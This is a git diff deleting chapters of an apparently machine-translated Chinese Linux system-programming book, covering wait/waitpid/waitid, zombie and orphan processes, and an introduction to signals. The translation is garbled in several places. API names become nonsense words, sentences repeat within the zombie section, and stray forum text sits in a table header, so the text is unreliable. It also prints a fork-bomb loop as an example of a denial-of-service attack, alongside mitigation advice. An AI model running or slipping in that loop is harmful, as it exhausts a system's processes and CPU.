stop signal: %d\n", - WSTOPSIG(wstatus)); - if (WIFCONTINUED(wstatus)) - VPRINT(" (was stopped), resumed (SIGCONT)\n"); -} -``` - -第二个`VPRINT`宏很简单;如果进程处于详细模式,则会产生一个`printf(3)`*或*。 我们试用该程序(版本 2): - -```sh -$ ./simpsh_v2 -v ->> ps - Parent process ( 2095) issuing the wait... - Child process ( 2096) exec-ing cmd "ps" now.. - PID TTY TIME CMD - 1078 pts/0 00:00:00 bash - 2095 pts/0 00:00:00 simpsh_v2 - 2096 pts/0 00:00:00 ps - Child ( 2096) status changed: - normal termination: exit status: 0 ->> quit - Parent process ( 2095) exiting... -$ -``` - -如您所见,我们在详细模式下运行它;我们可以看到,子进程`ps(1)`的状态发生了变化:它正常死亡,退出状态为 0,表示成功。 - -Interesting: this is how bash knows whether the process that just ran succeeded or not; it plugs in the exit status—fetched via an API similar to `wait`*—*into the variable **`?`** (which you can access using  `$?` .) - -# 等待的场景 - -到目前为止,我们已经讨论了通用 API`wait(2)`;但是,我们实际上只讨论了一个关于`wait`*的可能场景;*还有更多的场景。 让我们来看看他们。 - -# 等待场景#1 - -这是一个简单的例子(我们已经遇到过):一个进程分叉,创建一个子进程。 父级随后发出*Wait*API;它现在阻止阻止其子进程中的状态更改;回想一下,子级可能经历的状态更改如下: - -* 从运行状态转换(R):死亡;也就是说,孩子终止(正常/异常) -* 状态从运行/休眠状态(R|S|D)转换到停止状态(T);也就是说,它会收到导致其停止的信号 -* 状态从停止状态(T)过渡到准备运行(R);也就是说,从停止状态转换到准备运行状态 - -(状态转换和代表进程状态的字母在[章](17.html),Linux 上的*CPU 调度*中有介绍)。 无论发生哪种情况,事实是父进程被解锁,并继续执行其代码路径;`wait(2) `API 返回(与之一起,我们将接收死亡或被通知的子进程的 PID),以及详细的状态位掩码。 - -# 等待场景#2 - -考虑这样的场景:一个进程派生(创建)两个子进程;让我们称父进程 P 为子进程 C1 和 C2。 回想一下分叉规则 3-父进程和子进程都将继续并行运行。 现在,P 叫`wait`;会发生什么? - -这就是答案:进程 P 将一直被阻塞,直到其中一个子进程死亡(或停止),但是哪个子进程被阻塞?哪个先改变状态?那么系统程序员如何知道哪个进程死亡或停止呢? 这很简单:返回值是死掉或停止的进程的 PID。 - -换句话说,我们设计了一个推论:一个等待阻塞在单个子进程上;阻塞 n 个子进程需要 n 个等待。 - -一个有趣的练习是用代码构建前面的场景;确保父进程确实同时等待两个子进程(这个练习在 GitHub 存储库中被称为`fork2c`)。 - -To have a parent wait upon all possible children, invoke the `wait`API as the condition of a while loop; as long as waitable children exist, it will block and return positive; the moment there are no waitable children, the `wait`returns `-1`; check for that as the condition to break out of the loop. Note though, that there are scenarios requiring a non-blocking wait to be set up; we shall cover these as well. - -# 叉形炸弹和创造一个以上的孩子 - -假设我们想要编写代码来创建三个子级;如下所示的代码会这样做吗? - -```sh -main() -{ - [...] - fork(); - fork(); - fork(); - [...] -} -``` - -当然不是!。 (试试看)。 - -回想一下派生规则#1:父进程和子进程中的执行都会在派生之后的下一个指令处继续执行。因此,正如您所看到的,在第一个派生之后,父进程和子进程都运行第二个派生进程(所以我们现在总共有四个进程),然后这四个进程都将运行第三个派生进程(总共有八个进程),依此类推(浩劫!)。 - -如果以这种不受控制的方式调用叉子-它最终会创建*2^3=8*个孩子! 换句话说,它是指数级的;n=forks 意味着*2^n*个孩子将在失控的冲刺中被创造出来。 - -想象一下使用此代码可能造成的损害: - -```sh -int main(void) -{ - while(1) - fork(); -} -``` - -它被非常正确地称为叉子炸弹!-一种**拒绝服务**和(**DoS**)攻击**。** - -有趣的是,由于现代 UNIX(当然包括 Linux)具有基于 COW 的复制语义,因此产生的内存开销可能不会那么大。 当然,它仍然消耗大量的 CPU;此外,While 循环中的一个简单的 calloc 函数也会导致内存被耗尽。 - -By the way, carefully tuned resource limits (we studied this in an earlier chapter in detail) can help mitigate the fork bomb (and similar) DoS attack risks. Even better, would be careful tuning via cgroups for resource bandwidth control. Here is the fork bomb wikipedia link: [https://en.wikipedia.org/wiki/Fork_bomb](https://en.wikipedia.org/wiki/Fork_bomb). - -好的,所以,`fork(); fork();`不是创造两个孩子的必由之路。 (在 GitHub 存储库上试用练习`Smallbomb`。) - -你怎样才能正确地做到这一点呢? 这很简单:考虑父进程和子进程的执行路径,区分它们(分支规则#2)、*和*,只让父进程创建第二个子进程。 此代码片段演示了相同的内容: - -```sh -static void createChild(int sleep_time) -{ - pid_t n; - switch (n = fork()) { - case -1: - perror("fork"); - exit(1); - case 0: // Child - printf("Child 2 PID %d sleeping for %ds...\n", getpid(), - sleep_time); - sleep(sleep_time); - exit(0); - default: ; // Parent returns.. - } -} -int main(void) -{ -[...] -switch (n = fork()) { // create first child - case -1: - perror("fork"); - exit(1); - case 0: // Child - printf("Child 1 PID %d sleeping for %ds...\n", getpid(), - c1_slptm); - sleep(c1_slptm); - exit(0); - default: // Parent - createChild(c2_slptm); // create second child - /* Wait until all children die (typically) */ - while ((cpid = wait(&stat)) != -1) { - printf("Child %d changed state\n", cpid); - } - } -``` - -# 等待场景 3 - -如果一个进程没有孩子,从未有过孩子(单身汉),并且只发布了`wait(2)`*和*API,该怎么办? 乍一看,这似乎是一个问题案例,因为它可能会导致死锁;但是,不,内核比这更聪明。 `wait`*和*的内核代码进行检查,一旦发现调用进程没有子进程(死的或活的或停止的或其他什么),它就会简单地*在*之后*等待失败。* (仅供参考,`errno`*-*设置为`ECHILD`,这意味着该过程没有等待已久的孩子)。 - -再次提醒一下我们的一条金科玉律:*永远不要假设任何事情;总是检查失败的情况*。 *和*重要的是,我们的[章](19.html)、*故障排除和最佳实践*涵盖了这些要点。 - -还有一个`wait`场景;不过,我们需要先介绍更多信息。 - -# WAIT-API 的变体 - -还有几个额外的系统调用来执行等待子(Ren)进程的*工作;我们接下来将介绍它们。* - -# 服务员(2) - -假设我们有一个有三个子进程的进程;需要父进程在特定的子进程终止时等待(阻塞)。 如果我们使用泛型接口`wait`,我们已经看到,当任何一个孩子的状态发生变化时,它就会被解封。 这个难题的答案是:`waitpid(2)`的系统调用: - -```sh -pid_t waitpid(pid_t pid, int *wstatus, int options); -``` - -第一个参数`pid`*和*被设置为要等待的孩子的 PID。 但是,其他值也是可能的;如果传递了`-1`,它通常会等待任何`waitable`子进程。 (还有其他更神秘的案例;我们向您推荐手册页)。 也就是说,发出这个命令相当于一个通用的 API 调用`wait(&stat);`: - -```sh -waitpid(-1, &stat, 0); -``` - -第二个参数是通常的状态整数位掩码,我们使用`wait`API 详细了解了这一点。 - -第三个参数称为`options`;之前,我们将其设置为零,意味着没有特殊行为。 它还能接受什么价值观呢? 嗯,您可以只传递零或以下内容的按位 OR(它也是一个位掩码): - -| **参数值**的选项 | **含义** | -| `0` | 默认,同上`wait(2)` | -| `WNOHANG` | 仅阻止活着的孩子;如果没有,请立即返回 | -| `WUNTRACED` | 当子进程停止*和*(且不一定终止)时,也取消阻止 | -| `WCONTINUED` | 恢复停止的子进程时也取消阻止(通过传送给它的`SIGCONT`信号) | - -起初,`WNOHANG`选项可能听起来很奇怪;除了活生生的孩子之外,您怎么能阻止任何东西呢? 嗯,稍加耐心,我们很快就会解决这个问题。 - -要测试`waitpid(2)`,我们再次复制`simpsh_v2.c`*和*,并将其命名为`ch10/simpsh_v3.c`;代码中唯一有意义的区别是,我们现在使用`waitpid(2)`*和*,而不是通用的`wait`*和*API,根据需要传递选项;从`ch10/simpsh_v3.c`: - -```sh -[...] default: /* Parent */ - VPRINT("Parent process (%7d) issuing the waitpid...\n", - getpid()); - /* sync: child runs first, parent waits - * for child's death. - * This time we use waitpid(2), and will therefore also get - * unblocked on a child stopping or resuming! - */ - if ((cpid = waitpid(-1, &wstat, - WUNTRACED|WCONTINUED)) < 0) { - free(cmd); - FATAL("wait failed, aborting..\n"); - } - if (gVerbose) - interpret_wait(cpid, wstat); -[...] -``` - -现在我们运行它: - -```sh -$ ./simpsh_v3 -v - >> read - Parent process ( 15040) issuing the waitpid... - Child process ( 15058) exec-ing cmd "read" now.. -``` - -我们发出`read`*和*(bash 内置)命令,因为它本身是一个阻塞调用,所以我们知道子进程`read`*和*将处于活动和休眠状态。*在另一个终端窗口中,我们查找我们的`simpsh_v3`*和我们在其中运行的命令的 PID(步骤`read`):* - -```sh -$ pgrep simpsh - 15040 -$ pstree -A -h 15040 -p - simpsh_v3(15040)---read(15058) -$ -``` - -(有用的`pstree(1)`*和*实用程序向我们展示了进程树的父子层次结构。 有关详细信息,请查看手册页)。 - -现在,我们向`read`*和*进程发送`SIGTSTP`命令(终端停止信号);它被停止: - -```sh -$ kill -SIGTSTP 15058 -``` - -被拦下是我们正在寻找的状态改变!回想一下,我们现在的等待代码是: - -```sh -waitpid(-1, &wstat, WUNTRACED|WCONTINUED)) -``` - -因此,当孩子停止时,`WUNTRACED`选项生效,在原来的终端窗口中我们看到这样的情况: - -```sh - Child ( 15058) status changed: - stopped: stop signal: 20 ->> -``` - -我们现在可以通过向孩子发送信号`SIGCONT`来继续观察孩子: - -```sh -$ kill -SIGCONT 15058 -$ -``` - -由于我们的(父)菜单`waitpid(2)`*和*也在使用`WIFCONTINUED`键,因此在原始的终端窗口中,我们可以看到这一点(尽管它似乎确实需要用户按下*Enter*键): - -```sh - Child ( 15058) status changed: - (was stopped), resumed (SIGCONT) -``` - -我们对孩子(人)有了更多的控制权。 (年轻的父母请注意!) - -Unix 的`fork-exec-wait`和 Unix*和*框架确实很强大。 - -# 外号(2) - -对于进一步的微调和控制,还有`waitid(2)`*和*系统调用(来自 Linux 2.6.9): - -`int **waitid**(idtype_t idtype, id_t id, siginfo_t *infop, int options);` - -前两个参数实际上将指定要等待的子级: - -| **waitid(2):第一个参数:idtype** | **第二个参数:ID 为** | -| `P_PID` | 设置为要等待(阻止)的子级的 PID | -| `P_PGID` | 等待进程组 ID(PGID)与此数字匹配的任何子进程 | -| `P_ALL` | 等待任何子级(忽略此参数) | - -第四个`options`参数类似于它与参数`waitpid(2)`、*和*一起使用的方式,但不完全相同;还有一些额外的选项可以传递;同样,它是一个参数位掩码*、*,而不是绝对值:参数`WNOHANG`和参数`WCONTINUED`与参数`waitpid(2)`的系统调用具有相同的含义。 - -此外,还可以对以下选项进行按位运算: - -* `WEXITED`:屏蔽(已经)终止的儿童(同样,我们很快就会弄清楚为什么会有这种情况存在) -* `WSTOPPED`:阻止将进入已停止状态的子项(类似于`WUNTRACED `选项) -* `WNOWAIT`:屏蔽孩子,但一旦解锁,让他们处于等待状态,这样他们就可以使用稍后的等待*API 再次等待。 - -第三个参数是类型为`siginfo_t`的(大)数据结构;(我们将在[第 11 章](11.html),*信号-第一部分*中详细介绍)。 在返回`waitid(2)`时,这将由内核填充。 由 OS 设置各个字段,其中,改变状态的孩子的 PID(`si_pid`)、`si_signo`被设置为`SIGCHLD`、`si_status, si_code`。 我们打算在后面的章节中介绍这些内容(目前,请参阅手册页)。 - -There are BSD variations of `wait`APIs too: the `wait3`and the` wait4`*. *However, these are nowadays considered outdated; use the `waitpid(2)`or `waitid(2)` APIs instead. - -# 实际的系统调用 - -我们已经看到了几个 API,它们执行将父进程设置为`wait `直到子进程更改状态(死亡、停止或停止后恢复)的工作: - -* `wait` -* `waitpid` -* `waitid` -* `wait3` -* `wait4` - -有趣的是,与 Exec 系列 API 的情况类似,Linux 实现使得前面的大多数 API 都是库(`glibc`)包装器:事实是,在 Linux 操作系统上,在前面的所有 API 中,`wait4(2)`*和*是实际的系统调用 API。 - -在使用`wait`和 API 之一的程序上执行`strace(1)`*和*可以证明这一点(我们使用`strace`*和*我们的`simpsh_v1`*和*程序,它调用`wait`): - -```sh -$ strace -e trace=process -o strc.txt ./simpsh_v1 ->> ps - PID TTY TIME CMD -14874 pts/6 00:00:00 bash -27248 pts/6 00:00:00 strace -27250 pts/6 00:00:00 simpsh_v1 -27251 pts/6 00:00:00 ps ->> quit -$ -``` - -这是`strace`*:*的输出 - -```sh -execve("./simpsh_v1", ["./simpsh_v1"], 0x7fff79a424e0 /* 56 vars */) = 0 -arch_prctl(ARCH_SET_FS, 0x7f47641fa4c0) = 0 -clone(child_stack=NULL, - flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, - child_tidptr=0x7f47641fa790) = 27251 -wait4(-1, NULL, 0, NULL) = 27251 -[...] -``` - -在讨论执行`strace`时,确实会出现另一个有趣的问题:如果您在`fork`*和*API 之后找到了调用`fork(2)`*和*的应用`strace`*和*,那么`strace`*和*是否也会跟踪子进程的执行路径? 默认情况下,不会,但只需传递`-f`选项,它就会! - -`strace(1)`上的手册页是这样写的: - -```sh --f Trace child processes as they are created by currently traced processes as a result of the fork(2), vfork(2) and clone(2) system calls. ... -``` - -同样,系统程序员可能知道非常强大的 GNU 调试器-gdb。 如果使用`gdb(1)`调试多进程应用,在指令流中遇到分叉后,如何请求 gdb 遵循哪个进程的执行路径? 该设置称为`follow-fork-mode`:in`gdb`;这里,我们展示了一个将模式设置为 s`child`的示例: - -```sh -​(gdb) show follow-fork-mode -Debugger response to a program call of fork or vfork is "parent". -(gdb) set follow-fork-mode child -(gdb) -``` - -With respect to GDB: Debugging multi-process applications with GDB: Using the GDB `attach ` command is useful to `attach` to another process (say, the child). GDB also provides a powerful `catch` command; see `help catch` in GDB for more details. - -# 车叉上的一张纸条 - -几十年前,BSD Unix 开发人员提出了一个高效的特例系统调用-`vfork(2)`*。虽然*当时的想法是执行一些优化,其中您执行了一个分支,几乎立即在孩子中执行了一个分支(换句话说,就是分支-exec)。 正如我们所知,使用 fork-exec 是一个相当常见和有用的语义(shell 和网络服务器大量使用它)。 当调用 vfork 函数而不是 dfork 函数时,内核不会经历通常需要的繁重复制操作;它会优化事情。 - -底线是:在那个时候,`vfork(2)`在 Unix 上很有用;但是今天的 Linux 版本`fork(2)`已经尽可能优化了,把`vfork`版本变成了后门。 它仍然存在,可能有两个原因: - -* 兼容性-帮助将 BSD 应用移植到 Linux -* 显然,它在一些神秘的特殊 Linux 上非常有用,这些 Linux 运行在没有 MMU 的处理器上(比如 uClinux)。 - -在今天的常规 Linux 平台上,不建议使用`vfork(2)`;只要坚持使用`fork(2)`即可。 - -# 更多 Unix 怪异之处 - -从分叉规则 3 可以看出,父进程和子进程是并行运行的。 如果他们中的一个终止了呢? 另一个也会死吗? 嗯,不,当然不是;他们是独立的实体。 然而,这也有副作用。 - -# 孤儿 - -考虑这样的场景:进程派生,父进程和子进程处于活动状态,并并行运行各自的代码路径。 假设父母的 PID 是 100,孩子的 PID 是 102,这意味着孩子的 PPID 当然是 100。 - -无论出于何种原因,父进程都会死亡。 孩子继续生活,没有任何麻烦,除了副作用:当父母(PID100)死亡的那一刻,孩子的 PPID(100)现在就无效了! 因此,进程内核介入,将子进程的 PPID 设置为整个母进程-所有用户空间任务的祖先,进程树的根-进程 init,或者在最新的 Linux 上,即进程 systemd,进程! 按照久负盛名的 Unix 惯例,它的 PID 总是数字`1`。 - -术语:失去直系亲属的孩子现在被认为是由 Systemd(或 init)重新抚养的,因此它的 PPID 将是`1`;这个孩子现在是一个孤儿。 - -There is a possibility that the overall ancestor process (init or systemd) does *not* have PID 1, and thus the orphan's PPID may not be 1; this can occur, for example, on Linux containersor custom namespaces. - -我们注意到孩子的 PPID 值突然改变;因此,系统程序员必须确保他们不会因为任何原因而*而不是*依赖于 PPID 值相同(这总是可以通过`getppid(2)`*和*系统调用来查询)! - -# 僵尸 - -孤立进程不会带来任何问题;还有另一种情况,它很可能会导致严重的问题。 - -考虑这样的场景:进程派生,父进程和子进程处于活动状态,并并行运行各自的代码路径。 假设父母的 PID 是 100,孩子的 PID 是 102,这意味着孩子的 PPID 当然是 100。 - -现在我们深入研究更深一层的细节:父进程应该在其子进程终止时等待(当然是通过任何可用的`wait*(2)`*或*API);如果它不这样做呢? 啊,这可真是件坏事。 - -想象一下这样的场景:子进程终止,但父进程并没有等待(阻塞)它;因此它继续执行它的代码。 然而,内核并不高兴:Unix 规则是父进程必须阻塞其子进程!因此,由于父进程不会阻塞,内核无法完全清除刚刚死掉的子进程;它确实释放了整个 VAS,释放了所有内存,刷新并关闭了所有打开的文件以及其他数据结构,但它不清除内核进程表中的子进程条目。因此,死掉的子进程仍然具有完全有效的 PID 和一些杂项信息(它的退出状态、退出位掩码)。因此,死掉的子进程仍然有一个完全有效的 PID 和一些杂项信息(它的退出状态、退出位掩码),但它不会清除内核进程表中的子进程条目。因此,死掉的子进程仍然有一个完全有效的 PID 和一些杂项信息(它的退出状态、退出位掩码。 内核保留这些细节,因为这是 Unix 的方式:父进程必须等待它的子进程并在它们死时获取它们的终止状态信息,即获取它们的终止状态信息。父进程如何获取子进程(Ren)? 很简单:通过执行等待! - -因此,想想看:子进程已经死了;父进程没有费心等待*到*;内核在某种程度上已经清理了子进程。 但从技术上讲,它是存在的,因为它一半是死的,一半是活的;这就是我们所说的僵尸进程***。*** **事实上,这是 Unix:Z 上的僵尸进程状态(您可以在`ps -l`的输出中看到这一点;此外,该进程被标记为已失效*)。*** - - ***那么为什么不干脆杀掉僵尸呢? 嗯,他们已经死了;我们不能杀了他们。 读者可能会问,好吧,那又怎么样? 随他们去吧。 好吧,僵尸给生产系统带来真正令人头疼的问题有两个原因: - -* 他们拿着一个珍贵的 PID -* 僵尸占用的内核内存量并不是微不足道的(本质上是一种浪费)。 - -所以,底线是这样的:几个僵尸可能是可以的,但几十个、数百个,甚至更多的僵尸肯定不是。 您可能会达到这样的地步:系统被僵尸堵塞,以至于没有其他进程可以运行-`fork(2)`失败,并将`errno `设置为`EAGAIN`(稍后重试),因为没有可用的 PID! 情况很危险。 - -Linux 内核开发人员很有见地提供了一个快速解决方案:如果您注意到系统上有僵尸,您可以通过杀死它们的父进程来消除它们,至少是暂时的! (一旦父母死了,僵尸又有什么用呢? 关键是,他们留了下来,这样父母就可以通过等待来收获他们。 请注意,这只是一个绷带,而不是解决方案;解决方案是修复代码(参见以下规则)。 - -这是一个关键点;事实上,我们所说的等待场景#4:实际上已经终止僵尸的孩子们的等待得到了畅通。 换句话说,你不仅应该,而且必须等待所有的孩子;否则,僵尸就会出现(注意,僵尸在 Unix/Linux 操作系统上是一个有效的进程状态;在死亡的路上,每个进程都会经过**僵尸**(Z)状态。 对于大多数人来说,它是暂时的;它不应该在很长一段时间内保持这种状态)。 - -# 分叉规则#7 - -所有这些都干净利落地把我们带到了下一条分叉规则。 - -**派生规则#7**:*父进程必须在每个子进程终止(死亡)时直接或间接地等待(阻塞)*。 - -事实是,就像`malloc-free`一样,`fork-wait`也是齐头并进的。 在现实世界的项目中,我们可能看起来不可能强迫父进程在分叉后的等待时间阻塞;我们将解决如何轻松解决这些看似困难的情况(这就是为什么我们也提到间接测试方法;提示:它与信号有关,下一章的主题)。 - -# 《叉子的规则》--综述 - -为方便起见,此表汇总了我们在本章中编码的分叉规则: - -| **规则*和*** | **叉法** | -| 1. | 在成功派生之后,父进程和子进程中的执行都将在派生之后的 -指令处继续执行 | -| 2 个 | 要确定您是在父进程还是子进程中运行,请使用 fork 返回值:它始终是子进程中的值`0`,父进程中是子进程的 PID | -| 3. | 在成功派生之后,父进程和子进程都会并行执行代码 | -| 4. | 数据跨分支复制,而不是共享 | -| 5. | 在分叉之后,父进程和子进程之间的执行顺序是不确定的 | -| 6. | 打开的文件在分叉之间(松散地)共享 | -| 7. | 父进程必须在每个子进程直接或间接终止(死亡)时等待(阻止 | - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -Unix/Linux 系统编程的一个核心领域是学习如何正确处理至关重要的`fork(2)`*和*系统调用,以便在系统上创建新进程。 正确使用`fork(2)`*和*需要很多深刻的见解。 本章通过提供几条关键的分叉规则来帮助系统开发人员。 学习的概念-规则、处理数据、打开文件、安全问题等-通过几个代码示例进行了揭示。 讨论了如何正确等待您的孩子进程的许多细节。 孤儿和僵尸进程到底是什么,以及我们为什么和如何避免僵尸也被讨论了。**** \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/11.md b/docs/handson-sys-prog-linux/11.md deleted file mode 100644 index e75daa38..00000000 --- a/docs/handson-sys-prog-linux/11.md +++ /dev/null @@ -1,1395 +0,0 @@ -# 十一、信号——第一部分 - -信号是 Linux 系统开发人员理解和利用的关键机制。 我们在本书中分两章讨论了这个相当大的主题,这一章和下一章。 - -在本章中,将向读者介绍什么是信号,为什么它们对系统开发人员有用,当然,最重要的是,开发人员将如何准确地处理和利用信号机制。 - -我们将在下一章继续这一探索。 - -在本章中,读者将了解以下内容: - -* 信号到底是什么。 -* 为什么它们是有用的。 -* 可用的信号。 -* 如何准确地处理应用中的信号,这实际上涉及很多事情-阻止或解除阻止信号,编写安全的处理程序,一劳永逸地清除讨厌的僵尸程序,使用信号量很大的应用,等等。 - -# 为什么要发信号? - -有时,系统程序员要求操作系统提供异步功能-以某种方式让您知道某个事件或条件已经发生。信号将在 Unix/Linux 操作系统上提供这一特性。 进程可以捕获或订阅信号;当这种情况发生时,操作系统将异步通知该进程这一事实,然后将运行函数的代码作为响应:异常信号处理程序。 - -以以下案例为例: - -* CPU 密集型进程忙于进行科学或数学计算(为了便于理解,我们假设它正在生成素数);回想一下(参见[第 3 章](03.html),*资源限制*),CPU 使用率有上限,并且已设置为特定值。 如果它被攻破了怎么办? 默认情况下,该进程将被终止。 我们能防止这种情况发生吗? -* 开发人员想要执行一项常见的任务:设置一个计时器,让它在 1.5 秒后到期。 操作系统将如何通知进程计时器已过期? -* 在一些 SysV UNIX(通常在企业级服务器上运行)上,如果突然断电怎么办? 事件被广播到所有进程(表示对该事件感兴趣或订阅该事件),通知它们相同的情况:它们可以刷新其缓冲区,并保存其数据。 -* 进程有一个无意的缺陷(Bug);它进行了无效的内存访问。 内存子系统(从技术上讲,是 MMU 和 OS)决定必须杀死它。 它到底会怎么被杀死呢? -* Linux 的异步 IO(AIO)框架,以及许多其他类似的场景。 - -所有这些示例场景都由相同的机制提供服务:同步信号。 - -# 简而言之,信号机制 - -内核信号可以定义为传递给目标进程的异步事件。这些信号要么由另一个进程传递给目标进程,要么由操作系统(内核)本身传递给目标进程。 - -在代码级别,信号只是一个整数值;更准确地说,它是位掩码中的一个位。 重要的是要理解,尽管信号看起来像中断,但它并不是中断。中断是一种硬件功能;信号纯粹是一种软件机制。 - -好的,让我们尝试一个简单的练习:运行一个进程,将其放入无限循环中,然后通过键盘手动发送信号。 在(`ch11/sig1.c`)中查找代码: - -```sh -int main(void) -{ - unsigned long int i=1; - while(1) { - printf("Looping, iteration #%02ld ...\n", i++); - (void)sleep(1); - } - exit (EXIT_SUCCESS); -} -``` - -Why is the `sleep(1);`code typecast to `(void)`? This is our way of informing the compiler (and possibly any static analysis tool) that we are not concerned about its return value. Well, the fact is we should be; there will be more on this later. - -它的工作非常明显:让我们构建并运行它,在第三次循环迭代之后,我们按下键盘上的*Ctrl*+*C*组合键。 - -```sh -$ ./sig1 -Looping, iteration #01 ... -Looping, iteration #02 ... -Looping, iteration #03 ... -^C -$ -``` - -是的,不出所料,进程终止。 但这到底是怎么发生的呢? - -以下是简而言之的答案:发信号。 更详细地说,这是这样发生的(尽管它仍然保持简单):当用户按下*Ctrl*+*C*键组合(在输出中显示为`^C`)时,内核的`tty`*和*层代码处理该输入,将输入键组合烹调到中,并向 shell 上的前台进程传递信号。 - -但是,等一下。 记住,信号只是一个整数值。 那么,哪个整数呢? 哪个信号? *Ctrl*+*C*键组合被映射到`SIGINT`信号,整数值`2`,从而使其被传递到进程。 (下一节开始解释不同的信号;现在,让我们不要对此感到太过紧张)。 - -所以,好的,`SIGINT`信号,Value`2`,被传递到我们的第二个`sig1`进程。 但是然后呢? 这里有一个关键点:每个信号都与一个函数相关联,以便在交付时运行;该函数称为**信号处理程序**。 如果我们不更改它,则运行默认信号功能。 那么,这就带来了一个问题:既然我们没有编写任何默认(或其他)信号处理代码,那么是谁提供了这个默认信号处理程序函数呢? 简短的答案是:OS(内核)处理进程接收到应用没有安装任何处理程序的信号的所有情况;换句话说,对于默认情况。 - -信号处理程序函数或底层内核代码执行的操作决定了信号到达时目标进程将发生什么。 因此,现在我们可以更好地理解:缺省信号处理程序(实际上是内核代码)对`SIGINT`信号执行的操作是终止进程,实际上是导致接收进程死亡。 - -我们以图表的形式展示这一点,如下所示: - -![](img/7a2a9522-ca6d-4541-ab47-d3df5ca5f5b9.png) - -Signal delivered via keyboard, default handler causes process to die - -从该图中,我们可以看到以下步骤: - -1. 进程**P**激活并运行其代码。 -2. 用户按下`^C`,实际上使`SIGINT`信号被发送到进程。 - -3. 由于我们尚未设置任何信号处理程序,因此将调用该信号的默认信号处理操作,该信号是操作系统的一部分。 -4. 操作系统中的此默认信号处理代码会导致进程终止。 - -仅供参考,对于第一种默认情况-即应用开发人员没有安装特定信号处理例程的所有情况(我们将很快了解如何确切地安装我们自己的信号处理程序)-处理这些情况的操作系统代码到底做什么? 根据正在处理的信号,操作系统将执行以下五种可能操作之一(有关详细信息,请参阅下表): - -* 忽略该信号 -* 停止该进程 -* 继续(之前停止的)进程 -* 终止进程 -* 终止该进程并发出内核转储 - -真正有趣和强大的是:程序员有能力改变-将信号处理重新定向到他们自己的函数! 实际上,我们可以通过使用某些 API 来捕获或捕获信号。 一旦我们这样做了,当信号发生时,控制将不会转到默认的信号处理(OS)代码,而是转到我们希望它转到的函数。 通过这种方式,程序员可以负责并使用强大的信号机制。 - -当然,还有更多的原因:魔鬼确实存在于细节之中! 继续读下去。 - -# 可用信号 - -Unix/Linux 操作系统总共提供了一组 64 个信号。 它们大致分为两种类型:标准或 Unix 信号和实时信号。 我们会发现,虽然它们有共同的属性,但也有一些重要的区别;在这里,我们将研究 Unix(或标准)信号,稍后再研究后者。 - -除了键盘键组合(如*Ctrl*+*C*)之外,用于从用户空间发出信号的通用通信接口是`kill(1)`实用程序(因此,也就是`kill(2)`的系统调用)。 - -Besides the kill, there are several other APIs that deliver a signal; we shall flesh out more on this in a later section of this chapter. - -使用`-l`命令或列表选项运行`kill(1)`实用程序会列出平台上的可用信号: - -```sh -$ kill -l - 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP - 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 -11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM -16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP -21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ -26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR -31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 -38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8 -43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 -47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 -51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10 -55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 63) SIGRTMAX-1 64) SIGRTMAX -$ -``` - -也许“`kill(1) `”这个绰号用词不当:“删除”实用程序只是向给定的进程(或作业)发送一个信号。因此(至少根据您的作者而言),“`sendsig`”这个名称对该实用程序来说可能是更好的选择。 - -An FAQ: where are the signals numbered `32` and `33`? -They are internally used by the Linux Pthreads implementation (called NPTL), and are hence unavailable to app developers. - -# 标准或 Unix 信号 - -从 kill 的输出中可以看到,平台上支持的所有信号都会显示出来;其中的前 31 个信号(在典型的 Linux 机器上)称为标准信号或 Unix 信号。 与随后的实时信号不同,每个标准/Unix 信号都有一个非常具体的名称,正如您可能猜到的那样,还有用途。 - -(不用担心;我们将在下一章讨论数字 34 到 64 的实时信号)。 - -您将很快看到的表基本上是从有关信号(7)的手册页复制的,它按以下列顺序总结了标准(Unix)信号:信号的符号名称、整数值、传递到进程时采取的默认操作以及描述信号的注释。 - -默认操作列有以下类型:*信号处理程序的默认操作是: - -* **Terminate**:终止进程。 -* 术语&核心:终止进程并发出核心转储。 (核心转储本质上是传递(致命)信号时进程的动态段、数据段和堆栈段的快照)。 此终止和核心转储操作在内核向进程发送致命信号时发生。 这意味着该进程做了一些非法的事情(错误);一个例外是`SIGQUIT`信号:当`SIGQUIT`被传递给一个进程时,我们得到一个核心转储。 -* **忽略**:忽略信号。 -* **停止**:进程进入停止(冻结/挂起)状态(由`ps -l)`的输出中的`T`表示)。 -* **Continue**:继续执行先前停止的进程。 - -请参阅表标准或 Unix 信号表: - -| **信号** | **整数****值** | 发帖主题:Re:Колибри0.7.0**操作** | **如何** | -| `SIGHUP` | `1` | 终止 / 使终止 / 以…收尾 / 使结束 | 检测到控制终端挂断或控制进程​死亡 | -| `SIGINT` | `2` | 终止 / 使终止 / 以…收尾 / 使结束 | 键盘中断:`**^**C` | -| `SIGQUIT` | `3` | 术语和核心 | 退出键盘:`**^\**` | -| `SIGILL` | `4` | 术语和核心 | 非法指令 | -| `SIGABRT` | `6` | 术语和核心 | 来自 ABORT(3)​的 ABORT 信号 | -| `SIGFPE` | `8` | 术语和核心 | 浮点异常​ | -| `SIGKILL` | `9` | 终止 / 使终止 / 以…收尾 / 使结束 | (硬)终止信号 | -| `SIGSEGV` | `11` | 术语和核心 | 无效的内存引用 | -| `SIGPIPE` | `13` | 终止 / 使终止 / 以…收尾 / 使结束 | 